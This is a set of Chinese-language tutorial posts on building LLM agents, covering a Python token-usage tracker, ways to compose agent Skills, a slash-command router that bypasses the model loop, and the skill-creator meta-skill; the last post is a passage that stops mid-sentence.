• [技术干货] 从零开始理解 Agent(番外篇):Token 都花在哪了?
    「从零开始理解 Agent」系列番外 —— 在前面的七篇正文里(文末超链接直达),我们从来没关心过一个问题:跑一次 Agent 到底消耗多少 Token?每轮循环花了多少?工具返回结果占了多大比例?这篇番外给 Agent 装上一个 Token 仪表盘,让消耗一目了然。作者:十一▍一、为什么要关心 Token?用 Agent 和用普通对话最大的成本差异在于:对话是一问一答,Agent 是一个循环。一次普通对话:1 次 API 调用,消耗一份 Token。一次 Agent 任务:可能调用 5-15 次 API,每次调用都带着完整的 messages 历史,而且 messages 每轮都在增长——每调用一次工具,messages 至少新增两条(LLM 的回复 + 工具返回结果)。输入 Token 是累积增长的,不是线性增长的。具体消耗多少,取决于工具返回结果的长度——ls 返回几行和 cat 一个千行文件,差距可以是几十倍。所以 Token 消耗不能靠估算,要靠实际测量。▍二、API 返回的 usage 字段好消息是,OpenAI 兼容的 API 每次调用都会返回 Token 使用情况:response = client.chat.completions.create( model=MODEL, messages=messages, tools=TOOLS)# response.usage 包含这三个字段:# - prompt_tokens: 输入 Token 数(messages + tools schema)# - completion_tokens: 输出 Token 数(LLM 的回复)# - total_tokens: 两者之和我们只需要在每轮循环中把这个数据收集起来。▍三、给 Agent 加一个 Token 追踪器在第一篇的 agent.py 基础上,只需要加一个简单的数据结构:class TokenTracker: """追踪 Agent 整个生命周期的 Token 消耗""" def __init__(self): self.rounds = [] # 每轮的详细数据 self.total_input = 0 self.total_output = 0 def record(self, round_num, usage, message_count): """记录一轮循环的 Token 消耗""" input_tokens = usage.prompt_tokens output_tokens = usage.completion_tokens self.rounds.append({ "round": round_num, "input": input_tokens, "output": output_tokens, "total": input_tokens + output_tokens, "messages": message_count }) self.total_input += input_tokens self.total_output += output_tokens def summary(self): """打印消耗摘要""" print(f"\n{'='*50}") print(f"Token 消耗统计") print(f"{'='*50}") print(f"{'轮次':<6} {'输入':>8} {'输出':>8} {'合计':>8} {'消息数':>6}") print(f"{'-'*50}") for r in self.rounds: print(f"{r['round']:<6} {r['input']:>8} {r['output']:>8} " f"{r['total']:>8} {r['messages']:>6}") print(f"{'-'*50}") print(f"{'合计':<6} {self.total_input:>8} {self.total_output:>8} " f"{self.total_input + self.total_output:>8}") print(f"{'='*50}")嵌入 Agent 循环:def run_agent(user_message, max_iterations=10): tracker = TokenTracker() messages = [ {"role": "system", "content": SYSTEM_PROMPT}, {"role": "user", "content": user_message} ] for i in range(max_iterations): response = client.chat.completions.create( model=MODEL, messages=messages, tools=TOOLS ) message = response.choices[0].message # 记录本轮消耗 tracker.record(i + 1, response.usage, len(messages)) ifnot message.tool_calls: tracker.summary() # 任务结束时打印统计 return message.content # 执行工具调用... messages.append(message) for tool_call in message.tool_calls: result = execute_tool(tool_call) messages.append({ "role": "tool", "tool_call_id": tool_call.id, "content": result }) tracker.summary() return"Max iterations reached"▍四、实际输出长什么样需要说明的是,不同任务的 Token 消耗差异很大——一个"创建 hello.py"可能 2 轮就结束,一个"重构整个项目"可能跑 20 轮。下面的数据只是一个具体案例,目的是让大家对 Agent 的 Token 消耗有个感性认识,而不是一个通用基准。让 Agent 执行"找到当前目录的 Python 文件,统计行数,写入报告",Token 追踪器的输出类似这样(以下为示意数据,实际数值因模型和任务而异):==================================================Token 消耗统计==================================================轮次 输入 输出 合计 消息数--------------------------------------------------1 523 87 610 22 1204 103 1307 53 2891 76 2967 84 3542 45 3587 115 3870 156 4026 13--------------------------------------------------合计 12030 467 12497==================================================几个一眼就能看出的规律:输入 Token 逐轮递增。 第 1 轮 523,第 5 轮 3870——因为每轮都要把完整的 messages 历史发给 LLM,历史越长输入越大。输出 Token 相对稳定。 每轮只有几十到一两百——LLM 的回复通常就是一段思考 + 一次工具调用的 JSON。输入远大于输出。 在这个示例中,输入占了总消耗的绝大部分。这在 Agent 场景中是普遍规律——意味着降低成本的关键是控制输入,不是控制输出。▍五、Token 都花在哪了?输入 Token 可以拆成三部分:输入 Token = system prompt(含 Skills)+ tools schema + 历史 messages其中:system prompt 每轮都要带,固定成本。如果只有基础指令,通常几百 Token。但回忆第三篇——Rules 和 Skills 的内容都是注入到 system prompt 中的。一旦挂载了几个 Skill(每个 Skill 的描述可能几百到上千 Token),system prompt 就会从几百膨胀到几千甚至上万。这是一个容易被忽略的固定开销:每一轮 API 调用都要重复发送全部 Skill 描述。tools schema 也是每轮都要带。nanoAgent 的三个工具(read_file、write_file、execute_bash),JSON Schema 大约几百 Token(具体取决于参数描述的详细程度)。但这是最简情况。生产级 Agent 动辄注册十几个甚至几十个工具,每个工具的参数描述、枚举值、嵌套结构都会占 Token。工具数量增长十倍,tools schema 的开销也会相应增长——而且这个成本每轮都要付。这也是为什么第三篇的 MCP 动态加载工具、而不是把所有工具都塞进去的原因之一:按需加载,用不到的工具不注册,省的是每一轮的固定税。历史 messages 这是大头,也是唯一会增长的部分。增长速度取决于工具返回结果的长度——ls 返回几行,cat 一个大文件可能返回几千行。总结一下:system prompt(含 Skills)和 tools schema 是"固定税",每轮都交;历史 messages 是"累进税",越跑越多。降本要两手抓——减少固定税(精简 Skill 数量与描述、精简工具)和控制累进税(截断输出、及时压缩)。▍六、和第六篇压缩的关系现在回头看第六篇的上下文压缩,它做的事情就清楚了:砍掉历史 messages 中的旧内容,降低每轮的输入 Token。没有压缩时,Token 消耗曲线是这样的:输入 Token ^ | / | / | / ← 越来越贵 | / | / |/ +------------→ 轮次有压缩时:输入 Token ^ | /\ /\ | / \/ \ ← 锯齿形,有上限 | / | / |/ +------------→ 轮次压缩把一条单调递增的曲线变成了有上限的锯齿波。Token 追踪器加上压缩,你就能精确看到每次压缩省了多少 Token。在 TokenTracker 中加一行标记压缩事件:def record_compaction(self, round_num, before_tokens, after_tokens): """记录一次压缩事件""" saved = before_tokens - after_tokens print(f" [压缩] 轮次 {round_num}: {before_tokens} → {after_tokens} " f"(节省 {saved} tokens, {saved/before_tokens*100:.0f}%)")▍七、几条实用的成本控制经验有了 Token 追踪器之后,一些优化方向会变得很直观:截断工具输出。 第七篇安全篇里已经做了输出截断(MAX_OUTPUT_LENGTH),它不只是为了安全,也是成本控制的第一道防线。cat 一个 10000 行的文件会让后续每一轮都多带 10000 行的历史——截断到前 200 行,后续每轮都能省下大量输入 Token。减少不必要的工具调用。 有时 LLM 会先 ls 看一下目录,再 cat 某个文件,再 grep 搜索内容——而实际上一条 grep -r "keyword" . 就能搞定。更好的 system prompt 可以引导 LLM 用更少的步骤完成任务。清理不用的 MCP 和 Skill。 第五节讲了,tools schema 和 Skill 描述是每轮都要付的"固定税"。注册了 10 个 MCP 工具但日常只用 3 个,剩下 7 个的 schema 每轮都在白白消耗 Token。Skill 同理——挂载了五个 Skill 但当前任务只涉及其中一个,其余四个的描述都是浪费。定期审视已注册的 MCP 和 Skill,删掉不用的,是最简单的降本手段。选对模型。 简单任务(文件操作、格式转换)用便宜的小模型,复杂任务(代码重构、架构分析)用贵的大模型。这就是为什么有些 Agent 框架支持"模型路由"——根据任务复杂度自动选模型。及时压缩。 第六篇的压缩阈值不要设太高。阈值越高,压缩前的几轮输入 Token 越大。根据 Token 追踪器的数据调整阈值,找到"压缩频率"和"摘要质量"之间的平衡点。▍八、小结Token 追踪器的代码量很少,但它把一个黑盒变成了白盒——Agent 每轮花了多少、花在哪了、哪里可以省,全都看得见。回到 Harness 番外篇的视角:Token 追踪是 Harness 的"仪表盘"。没有它,你只知道"任务完成了",但不知道 Agent 用了几轮、每轮输入多少 Token、哪一轮因为工具返回了大量内容导致消耗飙升。有了它,这些问题都有了数据支撑,优化才有方向。 关注 AGENT 魔方公众号,回复 Agent免费领取「从零开始理解 Agent」全套资料包加速入门和掌握 Agent:
  • [技术干货] 从零开始写好 Skill(五):拆开写,串起用——Skill 的组合之道
    欢迎阅读「从零开始写好 Skill」系列 —— 上一个系列我们用 7 篇文章拆解了 Agent 的骨架,这个系列教你给 Agent 写"工作手册"。第一篇:Skill 是什么?为什么你应该关心它第二篇:一个好 Skill 长什么样——SKILL.md 的解剖第三篇:手把手写你的第一个 Skill第四篇:写 Skill 太费劲?让 skill-creator 来帮你第五篇:拆开写,串起用——Skill 的组合之道(本文)作者:十一▍开场:一个 Skill 解决一个问题,多个 Skill 解决一整件事前四篇我们一直在聊"一个 Skill"——怎么理解它、怎么拆解它、怎么从零写一个、怎么用工具加速迭代。但真实的工作场景,很少是一个 Skill 就能搞定的。回到贯穿这个系列的例子:你在群里看到一篇好文章,想保存并总结。这件事需要两步——先抓取,再总结。对应两个 Skill:wespy-fetcher 管抓取,article-summarizer 管总结。你不会把"抓取"和"总结"写进同一个 Skill 里。那样 Skill 就会变得臃肿——想只抓取不总结?不行,得连带跑一遍总结。想总结一篇本地已有的文章?不行,得先走一遍抓取流程。两个功能绑死在一起,哪个都不灵活。正确的做法是各管各的,各做各的,需要组合的时候再串起来。但问题来了:分开之后,它们怎么配合?▍一、最简单的配合:接力wespy-fetcher + article-summarizer 就是最典型的接力。用户说:"帮我保存并总结这篇公众号文章。"Agent 判断这件事需要两个 Skill,于是:第一棒:调用 wespy-fetcher,输入公众号链接,抓取文章内容,输出一个 Markdown 文件,保存到本地。第二棒:调用 article-summarizer,读取刚才保存的 Markdown 文件,按照结构化格式输出要点总结。第一个 Skill 的输出,就是第二个 Skill 的输入。这就是接力——上一个 Skill 交出"接力棒"(Markdown 文件),下一个 Skill 接住继续跑。这个过程中,用户只说了一句话。Agent 自己判断该用哪些 Skill、按什么顺序调用。两个 Skill 的作者不需要互相认识,甚至不需要知道对方的 Skill 存在——只要各自的输入输出格式兼容,就能组合。但"格式兼容"这件事不是自动发生的。接力能成立,有一个前提:两个 Skill 之间有一个约定好的"交接格式"。wespy-fetcher 输出的是 Markdown 文件。article-summarizer 的操作流程第一步是"通读全文"——它默认输入就是一篇文本内容。Markdown 对接 Markdown,天然兼容。但如果 wespy-fetcher 输出的是一个特殊的 JSON 结构,而 article-summarizer 只认纯 Markdown 文本呢?接力棒的形状不匹配,交接就断了。这引出第一个设计意识:写 Skill 的时候,要想一步——你的输出能不能被别的 Skill 接住?不需要为某个特定的下游 Skill 做适配,只需要遵循通用的格式约定。输出文本内容就用 Markdown,输出结构化数据就用 JSON,输出文件就存到常规路径。这样任何人写的 Skill 都能和你的组合使用。这其实和 Unix 的管道哲学是一回事:每个程序做一件事,用文本流串起来。Skill 的世界也一样——每个 Skill 做一件事,用通用格式串起来。▍二、进阶配合:分工接力是串行的——A 做完,B 接着做。但有些场景需要并行——多个 Skill 同时处理同一个输入的不同方面。设想一个场景:你写完了一篇技术博客,想在发布前做一次全面检查。你可能需要三个维度的审查:内容准确性:技术细节有没有错误?引用的数据有没有过时?可读性:结构是否清晰?段落过渡是否自然?有没有行话需要解释?发布规范:标题格式、标签、封面图、SEO 描述是否齐全?如果写成一个 Skill,它要同时关注这三个维度,SKILL.md 会非常臃肿,而且很难维护——改一条发布规范就要去翻整个 Skill。更好的做法是三个 Skill 各管一个维度:一个审查内容准确性,一个审查可读性,一个检查发布规范。三个 Skill 看的是同一篇文章,但各自只关注自己的维度。Agent 可以依次调用三个 Skill,也可以并行调用(部分 Agent 支持通过子代理并发执行),最后把三份审查结果汇总成一份完整的检查报告。分工模式的关键是:每个 Skill 的职责边界要清晰,不能互相越界。如果"内容审查 Skill"里也检查了标题格式,"发布规范 Skill"里也评价了内容深度,Agent 就会在汇总时遇到重复甚至矛盾的结论——一个说"标题太长",另一个说"标题信息量够"。这就是为什么第二篇反复强调"概述要划边界"——不只是为了单个 Skill 的准确性,更是为了多个 Skill 协作时不打架。每个 Skill 在概述里写清楚"我管什么、不管什么",就是在和其他 Skill 约定协作边界。▍三、更高级的配合:编排接力和分工都有一个共同点:由 Agent 自己判断该调哪些 Skill、按什么顺序调。大多数简单场景这样就够了。但有些复杂的工作流,步骤固定、顺序不能乱、中间还有条件判断——你不想每次都靠 Agent 临场发挥,希望有一个 Skill 专门负责"指挥"其他 Skill。这就是编排模式:一个 Skill 不干具体的活,只负责按顺序调用其他 Skill,串起整个流程。wlzh/skills仓库(https://github.com/wlzh/skills)里有一个真实案例:youtube-to-xiaoyuzhou。它的任务是把 YouTube 视频转成小宇宙播客,整个流程涉及好几步:调用 video-downloader 下载 YouTube 视频/音频调用 audiocut-keyword 过滤掉音频中的广告关键词调用 voice-changer 对音频进行变声处理调用 image-generator 生成封面图按照小宇宙的发布要求打包上传youtube-to-xiaoyuzhou 自己不会下载视频,不会过滤关键词,不会变声——这些活都是其他 Skill 干的。它只负责一件事:按正确的顺序把这些 Skill 串起来,在它们之间传递参数和文件。它的 SKILL.md 里会直接写明:第一步调用 video-downloader,传入 YouTube 链接拿到音频文件后调用 audiocut-keyword,传入关键词配置过滤完成后调用 voice-changer,传入声音预设……这和前面的"接力"有什么区别?接力模式下,Agent 自己判断"下一步该调什么"。编排模式下,流程写死在 Skill 里,Agent 不需要判断,按剧本执行就行。什么时候该用编排?当一个工作流满足这三个条件时:步骤固定:每次都是同样的几步,顺序不变频繁重复:你发现自己总是手动触发同样的 Skill 组合中间有依赖:上一步的输出是下一步的输入,而且参数传递有讲究如果你只是偶尔"先抓取再总结",让 Agent 自己判断就够了。但如果你每天都在做"下载 → 过滤 → 变声 → 发布"这个固定流程,就值得写一个编排 Skill 把它固化下来。编排 Skill 还有一个好处:它是一个可以分享的工作流。你把 youtube-to-xiaoyuzhou 分享给同事,他不需要知道背后有哪些 Skill、怎么串,一条命令就能跑通整个流程。▍四、反面案例:什么时候不该拆讲完了怎么组合,还要讲一个容易犯的错误:过度拆分。不是所有事情都要拆成多个 Skill。如果你把一个简单任务拆成了三个 Skill,每个 Skill 只做一小步,会出现什么情况?Agent 需要先判断"这件事要调哪几个 Skill",然后判断"按什么顺序调",中间还可能遇到"这步的输出格式和下步的输入不匹配"的问题。整体效果可能还不如一个 Skill 直接搞定。拆分的依据是"复用",不是"好看"。wespy-fetcher 和 article-summarizer 值得拆成两个 Skill,是因为它们各自有独立的使用场景:有时候你只想抓取文章存下来,不需要总结有时候文章已经在本地了(比如你自己写的草稿),只需要总结wespy-fetcher 可以和其他处理类 Skill 组合(比如翻译、朗读)article-summarizer 可以接住任何来源的文本(不只是公众号)每个 Skill 都有独立存在的价值,拆开之后组合可能性反而更大了。但如果两个步骤永远绑定在一起——从来不会单独使用其中一个,那就不要拆。强行拆成两个 Skill 只是增加了复杂度,没有带来任何好处。一个简单的判断方法:问自己——"这个步骤单独拿出来,有没有人会单独用?"如果答案是"有",拆;如果答案是"不可能",留在一起。▍五、让 Skill 更容易被组合:四条设计原则基于前面的分析,总结四条让 Skill 之间更容易配合的设计原则。这些原则不是额外的负担——如果你前几篇的内容都读进去了,会发现它们都是自然推导出来的。原则一:单一职责一个 Skill 只做一件事,做好一件事。wespy-fetcher 只管抓取,不管总结。article-summarizer 只管总结,不管抓取。判断标准很简单:用一句话描述这个 Skill 的功能,如果这句话里需要用"并且"连接两个动作,说明你可能该拆了。"抓取公众号文章并转为 Markdown"——这里的"并且"没问题,因为"抓取"和"转格式"是同一件事的两步,不会单独使用。"抓取公众号文章并总结要点"——这里的"并且"就有问题了,因为"抓取"和"总结"是两件独立的事。原则二:输出格式通用化用 Markdown、JSON、纯文本这类通用格式作为 Skill 的输出。不要发明只有自己能理解的私有格式。通用格式意味着任何下游 Skill 都能接住你的输出,不需要专门适配。你写 Skill 的时候不需要预测它将来会和谁组合——只要输出格式是通用的,组合就是自然而然的事。原则三:边界声明显式化在概述里写清楚"我做什么"和"我不做什么"。article-summarizer 里有一句:"不负责文章抓取(抓取请使用 wespy-fetcher),只处理已有内容的总结。"这句话有三重作用:告诉 Agent 不要拿这个 Skill 去做抓取告诉 Agent 如果需要抓取,去找 wespy-fetcher告诉其他 Skill 的作者,article-summarizer 的对接点在哪里一句话,三重效果。原则四:输入假设最小化你的 Skill 对输入的假设越少,能接住的上游 Skill 就越多。article-summarizer 只要求"一篇 Markdown 格式的文章"。它不关心这篇文章是从哪来的——wespy-fetcher 抓的、x-fetcher 从 Twitter 抓的、video-downloader 转写的字幕、还是用户自己粘贴的,统统都能处理。如果它的要求是"必须是 wespy-fetcher 输出的、包含特定 YAML 头部的、存放在 ~/Documents/articles/ 目录下的 Markdown 文件",那能和它组合的 Skill 就只剩 wespy-fetcher 一个了。假设越少,兼容性越强,组合可能性越大。▍六、从两个 Skill 到 Skill 体系当你积累了十几个 Skill 之后,它们会自然形成层次。拿 wlzh/skills ( https://github.com/wlzh/skills ) 这个仓库举例,里面的 Skill 天然分成了几层:采集层:负责从各种来源获取内容wespy-fetcher:公众号文章x-fetcher:Twitter 推文和长文章video-downloader:YouTube 视频处理层:负责对内容进行加工article-summarizer:文章总结(我们第三篇写的)voice-changer:音频变声text-to-speech:文字转语音输出层:负责把处理结果发布出去youtube-publisher:发布到 YouTubequark-mswnlz-publisher:发布到夸克网盘和资源站采集层的任何一个 Skill 的输出,都能对接处理层的 Skill。处理层的输出,又能对接输出层。层与层之间通过通用格式串联——文本内容用 Markdown,音视频用标准的文件格式。这意味着什么?每加一个新 Skill,就多了一组新的组合可能。加了一个 x-fetcher(抓 Twitter),它就能自动和 article-summarizer(总结)、text-to-speech(朗读)组合。加了一个 youtube-publisher(发布到 YouTube),所有处理层的音视频输出都能对接上去。这不是你预先设计好的,是单一职责 + 通用格式自然涌现的效果。不过别急着追求搭建体系。对大多数人来说,从两三个 Skill 的简单接力开始就够了。当你发现"我总是先抓取再总结再翻译"这种固定组合反复出现时,再考虑要不要把它固化成一个工作流——甚至写一个专门的"编排 Skill"来统一调度。你的 Skill 库就像一个工具箱:先有几把趁手的工具,用着用着自然知道还缺什么、怎么组合最顺手。不要一开始就试图设计一套完美的工具体系——那样你会花大量时间在设计上,而不是在解决实际问题上。▍七、全篇总结单个 Skill 的设计: ✅ 单一职责——只做一件事 ✅ 通用格式——输出别人能接住 ✅ 显式边界——写清楚我管什么不管什么 ✅ 最少假设——对输入要求越少越好Skill 之间的三种配合方式: 接力:A 的输出 → B 的输入(串行) 分工:同一输入 → A 审查维度1 + B 审查维度2 + C 审查维度3 → 汇总(并行) 编排:一个 Skill 当指挥,按固定流程调用其他 Skill(流水线)什么时候拆,什么时候不拆: 拆的标准 = 这个步骤能不能被单独复用 不拆的标准 = 两个步骤永远绑在一起▍下一篇预告这篇我们聊了 Skill 之间怎么配合——接力、分工、以及什么时候不该拆。下一篇是收官。我们把 Skill 放回 Agent 的整体架构中,看它和 Rules、Memory、MCP 的关系,回答一个更大的问题:在 Agent 时代,Skill 处于什么位置?「从零开始写好 Skill」系列是「从零开始理解 Agent」系列的姊妹篇。如果你还没有读过 Agent 系列,建议先从第一篇:Agent 的底层原理开始。 关注 AGENT 魔方公众号,回复 Agent免费领取「从零开始理解 Agent」全套资料包加速入门和掌握 Agent:
  • [技术干货] 从零开始理解 Agent(番外篇):Command——不是所有操作都要过大脑
    从零开始理解 Agent」系列文章从第一篇起,我们建立了一个核心心智模型:用户输入 → LLM 思考 → 调用工具 → 观察结果 → 继续思考 → ... → 返回答案。这个循环是 Agent 的大脑。但现实中,有些操作根本不需要经过大脑。作者:十一一、一个尴尬的场景假设你对 Agent 说:/help会发生什么?Agent 把 /help 当作普通用户输入,塞进 messages,发给 LLM。LLM 认认真真地"思考"了一下,生成了一段帮助文本返回给你。能用吗?能用。但问题是:浪费了一次 API 调用。帮助信息是固定的,根本不需要 LLM 生成。浪费了 token。这条消息还会留在 messages 里,占用后续对话的上下文窗口。结果不稳定。LLM 每次生成的帮助文本可能不一样,格式也不统一。再试一个:/clear你只是想清空对话历史,重新开始。但 LLM 不知道你在说什么——它没有"清空 messages 列表"这个工具,只能回复一句"好的,我们重新开始吧",然后 messages 列表一条都没少。这两个例子暴露了一个事实:Agent 的主循环是为"需要思考的任务"设计的,而有些操作天然不需要思考。 让 LLM 处理这些操作,就像让一个高级工程师帮你开关灯——能做,但没必要。二、Command:主循环的旁路解决方案很简单:在用户输入进入 run_agent 之前,先过一道"分流器"。如果输入匹配某个已知命令,直接在本地执行;否则再走正常的 LLM 循环。用户输入 │ ▼以 / 开头?──是──▶ Command Router ──▶ 直接执行,返回结果 │ 否 │ ▼run_agent()(第一篇的核心循环)用第一篇的 run_agent 来说,改动只有一个地方——在调用 run_agent 之前加一层判断:def main(): messages = [{"role": "system", "content": SYSTEM_PROMPT}] while True: user_input = input("\nYou: ").strip() ifnot user_input: continue # ---- 新增:Command 分流 ---- if user_input.startswith("/"): result = handle_command(user_input, messages) if result isnotNone: print(result) continue # ---- 分流结束 ---- messages.append({"role": "user", "content": user_input}) response = run_agent(messages) messages.append({"role": "assistant", "content": response}) print(f"\nAgent: {response}")关键在 continue:命中 command 后,不往 messages 里加任何东西,直接回到等待用户输入。对 LLM 来说,这次交互根本没有发生过。三、实现 Command Router最朴素的 command router 就是一个字典映射:# ---- Command 定义 ----def cmd_help(args, messages): return"""可用命令: /help - 显示本帮助 /clear - 清空对话历史 /model - 切换模型(如 /model gpt-4o) /compact - 压缩对话历史(保留要点) /status - 显示当前状态"""def cmd_clear(args, messages): messages.clear() messages.append({"role": "system", "content": SYSTEM_PROMPT}) return"对话已清空。"def cmd_model(args, messages): ifnot args: return f"当前模型:{os.environ.get('OPENAI_MODEL', 'gpt-4o-mini')}" os.environ["OPENAI_MODEL"] = args[0] return f"模型已切换为:{args[0]}"def cmd_status(args, messages): msg_count = len(messages) model = os.environ.get("OPENAI_MODEL", "gpt-4o-mini") return f"消息数:{msg_count} | 模型:{model}"# ---- Command Router ----COMMANDS = { "/help": cmd_help, "/clear": cmd_clear, "/model": cmd_model, "/status": cmd_status,}def handle_command(user_input, messages): parts = user_input.split() cmd = parts[0].lower() args = parts[1:] if cmd in COMMANDS: return COMMANDS[cmd](args, messages "cmd") return None # 不认识的 / 开头输入,交给 run_agent 处理一共 40 行左右。没有什么新概念,就是最基本的前缀匹配 + 字典分发。注意 handle_command 返回 None 的情况:如果用户输入了 /something_unknown,我们不拦截,而是让 LLM 去处理——也许用户就是想和 Agent 讨论某个以 / 开头的路径。四、/compact——最有意思的 Command前面四个 command 都是纯本地操作,不需要 LLM 参与。但 /compact 不一样:def cmd_compact(args, messages): if len(messages) <= 4: return "对话太短,无需压缩。" # 取出需要压缩的旧消息 system_msg = messages[0] old_messages = messages[1:-2] # 保留最近 2 条 recent = messages[-2:] # 让 LLM 做摘要——注意,这里调用了 LLM summary = llm.chat.completions.create( model=os.environ.get("OPENAI_MODEL", "gpt-4o-mini"), messages=[ {"role": "system", "content": "请用中文简洁总结以下对话的要点,保留关键事实和决策。"}, {"role": "user", "content": str(old_messages)} ] ).choices[0].message.content # 重建 messages messages.clear() messages.append(system_msg) messages.append({"role": "assistant", "content": f"[对话摘要] {summary}"}) messages.extend(recent) return f"已压缩 {len(old_messages)} 条消息为摘要。当前消息数:{len(messages)}"/compact 的特殊之处在于:它是由 command 触发的,但内部还是要调 LLM。 用户显式说"我要压缩",但压缩这件事本身需要 LLM 来做摘要。这打破了"command = 不过 LLM"的简单认知。更准确的理解是:Command 的本质不是"不用 LLM",而是"不走主循环"。Command 的本质不是"不用 LLM",而是"不走主循环"。主循环里,LLM 是决策者——它决定下一步做什么、用什么工具、什么时候停。而 /compact 里,LLM 只是一个被调用的工具——用户已经决定了要做什么(压缩),LLM 只负责执行摘要这个具体动作。如果你读过第六篇(上下文压缩),会发现 /compact 做的事情和第六篇的自动压缩本质相同。区别在于谁来触发:第六篇是 Harness 自动触发(token 数超过阈值),这里是用户手动触发。两条路到同一个终点。五、Command vs Tool vs LLM 自主决策现在我们有三种"让 Agent 做事"的方式。什么时候该用哪种?一个判断原则:如果一个操作的输入和输出都是确定的,不需要 LLM 的"理解"和"判断",就做成 command。 比如"清空对话"——不需要理解,不需要判断,执行就完了。但边界不总是清晰的。拿 /compact 来说,它的触发是确定的(用户说了 /compact),但执行需要 LLM 参与。再比如"上下文快满了要不要压缩"——这件事也可以让 LLM 自己判断,但实践中发现用户显式控制(command)或 Harness 自动判断(第六篇的阈值机制)比让 LLM 自己决定更可靠。六、Command 在真实产品中的样子打开 Claude Code 或 OpenCode 这样的 CLI Agent,你会发现它们的 command 系统远不止 /help 和 /clear:可以看到,command 在实际产品中承担了两类职责:第一类:环境控制。/clear、/model、/mode、/cost 这些操作的对象是 Agent 的运行环境,不是用户的任务。LLM 不需要知道这些事。第二类:快捷入口。/init、/review 本质上是"预设好的 prompt 模板 + 特定 tool 组合"。用户当然可以用自然语言说"帮我审查代码",LLM 也能理解。但做成 command 的好处是:触发确定、行为一致、不会因为 LLM 理解偏差而跑偏。七、和系列其他文章的关系回顾一下 command 在整个 Agent 架构中的位置:用 Harness 番外的话说:Command Router 就是 Harness 的一部分——它是模型之外的、让 Agent 真正能用的基础设施之一。八、总结Command 不是什么高深的设计,就是一个前缀匹配 + 字典分发。但它背后的思维方式值得记住:Agent 的主循环是留给"需要思考的任务"的。 不需要思考的操作——环境控制、状态查询、手动触发——应该绕过主循环,直接执行。这是 Harness 工程的一部分:如何在 LLM 的智能和工程的确定性之间划出合理的边界。Command 选择了确定性的一边——用户说 /clear 就一定清空,不存在 LLM "理解错了"的可能。一句话:不是所有操作都要过大脑。 关注 AGENT 魔方公众号,回复 Agent免费领取「从零开始理解 Agent」全套资料包加速入门和掌握 Agent:
  • [技术干货] 从零开始写好 Skill(四):写 Skill 太费劲?让 skill-creator 来帮你
    欢迎阅读「从零开始写好 Skill」系列 —— 上一个系列我们用 7 篇文章拆解了 Agent 的骨架,这个系列教你给 Agent 写"工作手册"。第一篇:Skill 是什么?为什么你应该关心它第二篇:一个好 Skill 长什么样——SKILL.md 的解剖第三篇:手把手写你的第一个 Skill第四篇:写 Skill 太费劲?让 skill-creator 来帮你(本文)作者:十一 「从零开始写好 Skill」系列 —— 上一个系列我们用 7 篇文章拆解了 Agent 的骨架,这个系列教你给 Agent 写"工作手册"。第一篇:Skill 是什么?为什么你应该关心它第二篇:一个好 Skill 长什么样——SKILL.md 的解剖第三篇:手把手写你的第一个 Skill第四篇:写 Skill 太费劲?让 skill-creator 来帮你(本文)▍开场:三轮迭代的代价还记得第三篇吗?我们从零写了一个 article-summarizer,经历了三轮迭代:第一版 description 触发不了、输出格式不稳定;第二版对照检查清单修了一遍,好多了但实际跑起来又发现观点数量太死板、字段之间撞车;第三版基于踩坑再优化,终于好用了。三轮迭代,每一轮都要自己思考问题在哪、怎么改、改完再跑一遍验证。这还只是一个功能很简单的总结 Skill。如果你要写一个代码审查 Skill、一个部署流水线 Skill,复杂度翻几倍,迭代次数也会翻几倍。有没有办法让这个过程更高效?有。Anthropic 官方出了一个"元技能"—— skill-creator。它本身就是一个 Skill,但它的职责是帮你创建和优化其他 Skill。用 AI 来写 AI 的工作手册。▍一、skill-creator 是什么一句话:它是一个帮你创建、测试和迭代 Skill 的 Skill。它覆盖了 Skill 开发的完整生命周期:理解你的意图——你想让 Skill 做什么起草 SKILL.md——包括 description、操作流程、注意事项生成测试用例——验证 Skill 效果运行对比评估——有 Skill vs 没 Skill,效果差多少基于评估结果迭代优化优化 description 的触发精准度本质上,它把第三篇里我们手工做的三轮迭代,变成了一个系统化的、有数据支撑的流程。你不需要自己猜"description 写得够不够好",它会用 20 个测试查询帮你验证;你不需要自己判断"总结质量提升了没有",它会并排对比有 Skill 和没 Skill 的输出,让你一目了然。▍二、先看它的文件夹结构在讲怎么用之前,先看看 skill-creator 自己长什么样。它是"Skill 是文件夹不是文件"这个概念的最佳实例:skill-creator/├── SKILL.md              ← 主文件:完整的创建流程指南├── agents/               ← 子代理定义│   ├── grader.md         ← 评分员:评估测试结果│   └── analyzer.md       ← 分析员:找出数据背后的模式├── eval-viewer/          ← 评估结果可视化工具│   └── generate_review.py├── references/           ← 参考资料│   └── schemas.md        ← 评估数据的 schema 定义├── scripts/              ← 辅助脚本│   ├── init_skill.py     ← 初始化新 Skill 的目录结构│   ├── package_skill.py  ← 打包 Skill 用于分发│   └── aggregate_benchmark.py  ← 聚合评估数据└── assets/               ← 模板等资源一个 SKILL.md 主文件,搭配子代理定义、脚本、参考资料、可视化工具。Agent 读 SKILL.md 了解整体流程,执行时按需调用 scripts/ 里的脚本,评估时启动 agents/ 里定义的子代理,最后用 eval-viewer/ 生成可视化报告。这就是第二篇讲的"渐进式揭示"的教科书案例——SKILL.md 不塞所有内容,而是指向各个子文件,Agent 在需要的时候才去读。▍三、完整流程:从意图到成品安装好 skill-creator 之后,告诉它你想创建什么 Skill,它会引导你走完以下六个阶段。阶段一:意图捕获skill-creator 不会让你一上来就写 SKILL.md。它先用"采访模式"收集需求:"这个 Skill 要解决什么问题?""用户会怎么描述这个需求?给几个具体的说法。""给几个具体的使用场景?""有没有什么边界条件——哪些事情这个 Skill 不该做?"它会根据你的回答追问细节,但不会一次问太多——它的 SKILL.md 里明确写了"避免在一条消息里问太多问题"。这里有一个细节值得注意:skill-creator 会根据你的技术水平调整表达方式。它的 SKILL.md 里有一段很有意思的话——大意是"现在连水管工都开始打开终端了,另一方面大多数用户又是程序员,所以要看上下文线索来决定怎么说话"。比如 "JSON" 和 "assertion" 这种词,它会先确认你是否了解再使用。这个设计本身就是一个好 Skill 该有的样子:不假设用户的背景,根据上下文自适应。阶段二:起草收集完需求后,skill-creator 调用 scripts/init_skill.py 自动生成 Skill 的目录结构:# skill-creator 自动执行python scripts/init_skill.py my-new-skill生成一个标准的 Skill 文件夹,包含 SKILL.md 模板和 scripts/、references/、assets/ 子目录。然后它会基于你在第一阶段提供的信息,填充 SKILL.md 的内容。它生成的 SKILL.md 会自动遵循我们前几篇讲的原则:description 